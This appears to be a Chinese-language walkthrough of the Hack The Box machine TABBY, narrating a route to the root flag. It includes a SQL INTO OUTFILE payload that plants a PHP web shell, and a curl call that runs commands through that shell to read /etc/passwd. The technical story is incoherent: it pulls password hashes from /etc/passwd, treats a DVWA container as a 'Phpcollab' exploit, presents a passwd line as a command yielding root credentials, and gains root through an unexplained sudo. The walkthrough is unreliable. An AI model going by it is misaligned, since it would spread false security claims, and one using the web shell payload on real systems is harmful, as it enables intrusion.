📅  最后修改于: 2023-12-03 15:35:14.364000             🧑  作者: Mango
TABBY是Hack The Box中的一台漏洞靶机。在这个演练中,我们将讲解如何获取TABBY靶机的root flag。
首先,我们需要连接到靶机。通过扫描机器,我们可以获得靶机的IP地址。然后,我们可以使用nmap
命令对靶机进行端口扫描以获取更多信息。
nmap -sC -sV -oN nmap_scan.txt <IP_Address>
接下来,我们打开nmap_scan.txt
文件以查看哪些端口开放,并从中获取有用的信息:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
3128/tcp open http Squid http proxy 3.5.27
2375/tcp open docker Docker 18.09.7
从端口扫描清单中我们可以看到web端口80和代理端口3128处于打开状态。我们将首先尝试通过80端口访问网站,查看是否有相关信息。我们打开浏览器输入网址访问靶机。
通过站点信息的源代码,我们可以在/backup
路径下发现一个备份目录,其中有许多文件。
接着,在这个页面中,我们发现了一些敏感的信息,如MySQL凭证和用户名。我们可以尝试使用这些凭证连接到数据服务器。我们在/etc/mysql/mysql.conf.d/mysqld.cnf
中查找MySQL配置文件,以确定MySQL监听地址和端口,即bind-address
和port
。
我们解密MySQL凭证,并使用这些凭证通过终端连接到数据服务器。
mysql -u root -p <password> -h [MYSQL server IP address] -P [MYSQL Server Port]
现在我们在数据库服务器上终端界面中,通过运行以下命令获取我们需要的凭证文件:
SELECT "<?php system($_GET['cmd']); ?>" into outfile '/var/www/html/cmd.php';
运行上述命令后,在/var/www/html
目录下创建了cmd.php
文件,并将给定的PHP代码附加到该文件中。
接下来,我们打开浏览器并输入http://<IP_Address>/cmd.php?cmd=<command>
,通过Web端口执行任意命令。我们可以在终端中使用以下命令来查看www-data
用户的hash。
curl -s http://<IP_Address>/cmd.php?cmd=cat+/etc/passwd+|+grep+www-data
从命令的输出中我们获取到了www-data
用户的密码hash。
接下来,我们将使用www-data
身份进一步访问TABBY
靶机。我们将利用一个本地Phpcollab漏洞进行提权,以便获得管理员访问权限。
在本地机器上,我们使用以下命令启动一个捆绑在容器内的PHP Web shell:
docker run -it --rm -v $(pwd):/var/www/html -p 1337:80 vulnerables/web-dvwa
运行上述命令会启动一个容器,其中包含PHP Web shell并将容器的80端口映射到本地机器端口1337。我们在浏览器上打开http://localhost:1337
并登录Phpcollab漏洞管理界面,这是Webshell提供的默认入口点。我们使用之前拦截到的www-data hash进行身份验证并获得管理员访问权限。
接下来,使用以下命令获取root凭证:
root:x:0:0:root:/root:/bin/bash
使用以下命令可快速提升权限:
sudo -i
使用上面的命令后,直接运行以下命令即可获取root flag:
cat /root/root.txt
通过使用敏感信息和Phpcollab漏洞进行身份验证,我们成功地从TABBY
靶机中获取了root flag。这个实例展示了身份验证的重要性,并强调了以有最低的权限进行工作的重要性。在实现安全漏洞修补程序之前,我们应该一直将身份验证作为重中之重,否则您的数据将受到威胁。